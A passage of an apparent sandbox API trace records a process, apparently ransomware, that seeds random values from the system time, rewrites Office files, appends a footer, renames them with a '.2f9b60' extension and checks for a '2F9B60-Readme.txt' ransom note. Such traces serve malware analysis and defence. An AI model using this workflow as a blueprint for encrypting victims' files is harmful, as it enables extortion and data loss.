[0141.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42281180 [0141.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42275d50 [0141.690] ReadFile (in: hFile=0x1f40, lpBuffer=0x42281180, nNumberOfBytesToRead=0x2d38, lpNumberOfBytesRead=0x2c48f510, lpOverlapped=0x0 | out: lpBuffer=0x42281180*, lpNumberOfBytesRead=0x2c48f510*=0x2d38, lpOverlapped=0x0) returned 1 [0141.776] SetFilePointerEx (in: hFile=0x1f40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.776] WriteFile (in: hFile=0x1f40, lpBuffer=0x42275d50*, nNumberOfBytesToWrite=0x2d38, lpNumberOfBytesWritten=0x2c48f514, lpOverlapped=0x0 | out: lpBuffer=0x42275d50*, lpNumberOfBytesWritten=0x2c48f514*=0x2d38, lpOverlapped=0x0) returned 1 [0141.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0141.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0141.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0141.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42275d50) returned 1 [0141.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42281180) returned 1 [0141.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9f5b0 [0141.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0141.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0141.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9fbf0 [0141.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0141.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe470 [0141.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe470) returned 1 [0141.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x1b7d3a20 [0141.827] SetFilePointerEx (in: hFile=0x1f40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0141.827] WriteFile (in: hFile=0x1f40, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2c48f630, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2c48f630*=0x11a, lpOverlapped=0x0) returned 1 [0141.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0141.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fbf0) returned 1 [0141.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0141.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0141.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0141.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe080) returned 1 [0141.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe0e0) returned 1 [0141.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe110) returned 1 [0141.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x20279d30 [0141.892] wcscpy (in: _Dest=0x20279d30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\SketchIconImages.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\SketchIconImages.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\SketchIconImages.bmp" [0141.893] wcscat (in: _Dest=0x20279d30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\SketchIconImages.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\SketchIconImages.bmp.2f9b60" [0141.893] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\SketchIconImages.bmp.2f9b60", NtPathName=0x2c48f650, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\SketchIconImages.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1cecfb00 [0141.893] NtSetInformationFile (FileHandle=0x1f40, IoStatusBlock=0x2c48f6f0, FileInformation=0x1cecfb00, Length=0xcc, FileInformationClass=0xa) returned 0x0 [0145.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecfb00) returned 1 [0145.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205005e0) returned 1 [0145.365] NtQueryInformationFile (in: FileHandle=0x1f40, IoStatusBlock=0x2c48f6b8, FileInformation=0x2c48f6c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c48f6b8, FileInformation=0x2c48f6c8) returned 0x0 [0145.365] NtSetInformationFile (FileHandle=0x1f40, IoStatusBlock=0x2c48f6b8, FileInformation=0x2c48f6c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279d30) returned 1 [0145.385] FlushFileBuffers (hFile=0x1f40) returned 1 [0145.388] CloseHandle (hObject=0x1f40) returned 1 [0145.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce11600 [0145.390] wcscpy (in: _Dest=0x1ce11600, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0145.390] wcscat (in: _Dest=0x1ce11600, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0145.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11600) returned 1 [0147.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862ca0) returned 1 Thread: id = 1875 os_tid = 0x100c [0133.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupicons.jpg")) returned 0x20 [0135.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg", dwFileAttributes=0x20) returned 1 [0138.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupicons.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fac [0142.144] GetFileSizeEx (in: hFile=0x1fac, lpFileSize=0x2c57fc20 | out: lpFileSize=0x2c57fc20*=3479) returned 1 [0142.144] SetFilePointerEx (in: hFile=0x1fac, liDistanceToMove=0xd93, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.144] ReadFile (in: hFile=0x1fac, lpBuffer=0x2c57fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c57fbe8, lpOverlapped=0x0 | out: lpBuffer=0x2c57fba0*, lpNumberOfBytesRead=0x2c57fbe8*=0x4, lpOverlapped=0x0) returned 1 [0142.163] SetFilePointerEx (in: hFile=0x1fac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe950 [0142.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe9e0 [0142.164] NtQuerySystemTime (in: CurrentTime=0x2c57fae0 | out: CurrentTime=0x2c57fae0*=132462177474118000) returned 0x0 [0142.164] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x1b082178 [0142.164] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x5999c298 [0142.164] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x5f801c45 [0142.164] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x435148e2 [0142.164] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x420b38c1 [0142.164] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x5055d5d6 [0142.164] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0xb23ffaf [0142.164] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x2373f8b4 [0142.164] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x3fff573c [0142.164] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x62028279 [0142.164] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0xa85c3d9 [0142.164] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x58f7fe19 [0142.164] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x4150c40a [0142.164] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x6647843d [0142.164] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x1633d8e7 [0142.164] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x649379d5 [0142.164] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x4145a256 [0142.164] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x406aa665 [0142.164] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x5ea8ca9a [0142.164] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x4dd937b9 [0142.165] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x429c9174 [0142.165] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x47c51bf3 [0142.165] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x530faea5 [0142.165] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x29c8b2f5 [0142.165] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x514be2ba [0142.165] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0xfe36a84 [0142.165] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x49e1f80c [0142.165] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x4a4f5ad6 [0142.165] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x31496980 [0142.165] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0xef8af51 [0142.165] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x7dd835e [0142.165] RtlRandomEx (in: Seed=0x2c57fad0 | out: Seed=0x2c57fad0) returned 0x40d7cde1 [0142.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fea10 [0142.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061e30 [0142.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fea40 [0142.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061e30) returned 1 [0142.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe9e0) returned 1 [0142.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059d30 [0142.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061e30 [0142.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4221e530 [0142.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42222140 [0142.173] ReadFile (in: hFile=0x1fac, lpBuffer=0x4221e530, nNumberOfBytesToRead=0xd97, lpNumberOfBytesRead=0x2c57fad0, lpOverlapped=0x0 | out: lpBuffer=0x4221e530*, lpNumberOfBytesRead=0x2c57fad0*=0xd97, lpOverlapped=0x0) returned 1 [0142.173] SetFilePointerEx (in: hFile=0x1fac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.173] WriteFile (in: hFile=0x1fac, lpBuffer=0x42222140*, nNumberOfBytesToWrite=0xd97, lpNumberOfBytesWritten=0x2c57fad4, lpOverlapped=0x0 | out: lpBuffer=0x42222140*, lpNumberOfBytesWritten=0x2c57fad4*=0xd97, lpOverlapped=0x0) returned 1 [0143.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265310 [0143.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264950 [0143.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264950) returned 1 [0143.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42222140) returned 1 [0143.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4221e530) returned 1 [0143.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061e30) returned 1 [0143.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d30) returned 1 [0143.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7aa1a0 [0143.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059d30 [0143.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061e30 [0143.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264950 [0143.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264950) returned 1 [0143.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7aa860 [0143.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264950 [0143.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264920 [0143.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264920) returned 1 [0143.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061e30) returned 1 [0143.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d30) returned 1 [0143.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x1b7d64c0 [0143.337] SetFilePointerEx (in: hFile=0x1fac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.337] WriteFile (in: hFile=0x1fac, lpBuffer=0x1b7d64c0*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2c57fbf0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d64c0*, lpNumberOfBytesWritten=0x2c57fbf0*=0x11a, lpOverlapped=0x0) returned 1 [0143.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d64c0) returned 1 [0143.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa860) returned 1 [0143.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264950) returned 1 [0143.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1a0) returned 1 [0143.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265310) returned 1 [0143.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe950) returned 1 [0143.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fea10) returned 1 [0143.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fea40) returned 1 [0143.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x1ce21f60 [0143.557] wcscpy (in: _Dest=0x1ce21f60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg" [0143.558] wcscat (in: _Dest=0x1ce21f60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg.2f9b60" [0143.558] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg.2f9b60", NtPathName=0x2c57fc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1ced0200 [0143.558] NtSetInformationFile (FileHandle=0x1fac, IoStatusBlock=0x2c57fcb0, FileInformation=0x1ced0200, Length=0xcc, FileInformationClass=0xa) returned 0x0 [0145.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced0200) returned 1 [0145.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053d20) returned 1 [0145.373] NtQueryInformationFile (in: FileHandle=0x1fac, IoStatusBlock=0x2c57fc78, FileInformation=0x2c57fc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c57fc78, FileInformation=0x2c57fc88) returned 0x0 [0145.373] NtSetInformationFile (FileHandle=0x1fac, IoStatusBlock=0x2c57fc78, FileInformation=0x2c57fc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21f60) returned 1 [0145.395] FlushFileBuffers (hFile=0x1fac) returned 1 [0145.406] CloseHandle (hObject=0x1fac) returned 1 [0145.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce12520 [0145.406] wcscpy (in: _Dest=0x1ce12520, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0145.406] wcscat (in: _Dest=0x1ce12520, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0145.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce12520) returned 1 [0147.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862bf0) returned 1 Thread: id = 1876 os_tid = 0x1010 [0133.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupiconsmask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupiconsmask.bmp")) returned 0x20 [0135.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupiconsmask.bmp", dwFileAttributes=0x20) returned 1 [0138.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupiconsmask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupiconsmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fa8 [0142.162] GetFileSizeEx (in: hFile=0x1fa8, lpFileSize=0x2271f980 | out: lpFileSize=0x2271f980*=1444) returned 1 [0142.162] SetFilePointerEx (in: hFile=0x1fa8, liDistanceToMove=0x5a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.162] ReadFile (in: hFile=0x1fa8, lpBuffer=0x2271f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2271f948, lpOverlapped=0x0 | out: lpBuffer=0x2271f900*, lpNumberOfBytesRead=0x2271f948*=0x4, lpOverlapped=0x0) returned 1 [0142.176] SetFilePointerEx (in: hFile=0x1fa8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe9e0 [0142.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fea70 [0142.176] NtQuerySystemTime (in: CurrentTime=0x2271f840 | out: CurrentTime=0x2271f840*=132462177474118000) returned 0x0 [0142.176] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x2a382149 [0142.176] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x8d694bd [0142.176] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x3c76665b [0142.176] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x37e8f283 [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x48915752 [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x5b6c2a1b [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x25b058bb [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x466b9cad [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x6f0a24ca [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x425eebbb [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x552e0599 [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x38c55cda [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x11209564 [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x76ab2de5 [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x6cfd21fc [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x59f6f6ac [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x5b360228 [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x2f944346 [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x66c608e9 [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x569b3208 [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x669a4d3e [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x279344d1 [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x745a4707 [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x726cc326 [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x573798d4 [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x60e98a78 [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x5d98fc1 [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x726cc326 [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x7283ac0f [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0xa489ff [0142.177] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x32da65a0 [0142.178] RtlRandomEx (in: Seed=0x2271f830 | out: Seed=0x2271f830) returned 0x6dc3ae5b [0142.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feaa0 [0142.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061eb0 [0142.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fead0 [0142.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061eb0) returned 1 [0142.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fea70) returned 1 [0142.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0142.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061eb0 [0142.189] RtlAllocateHeap 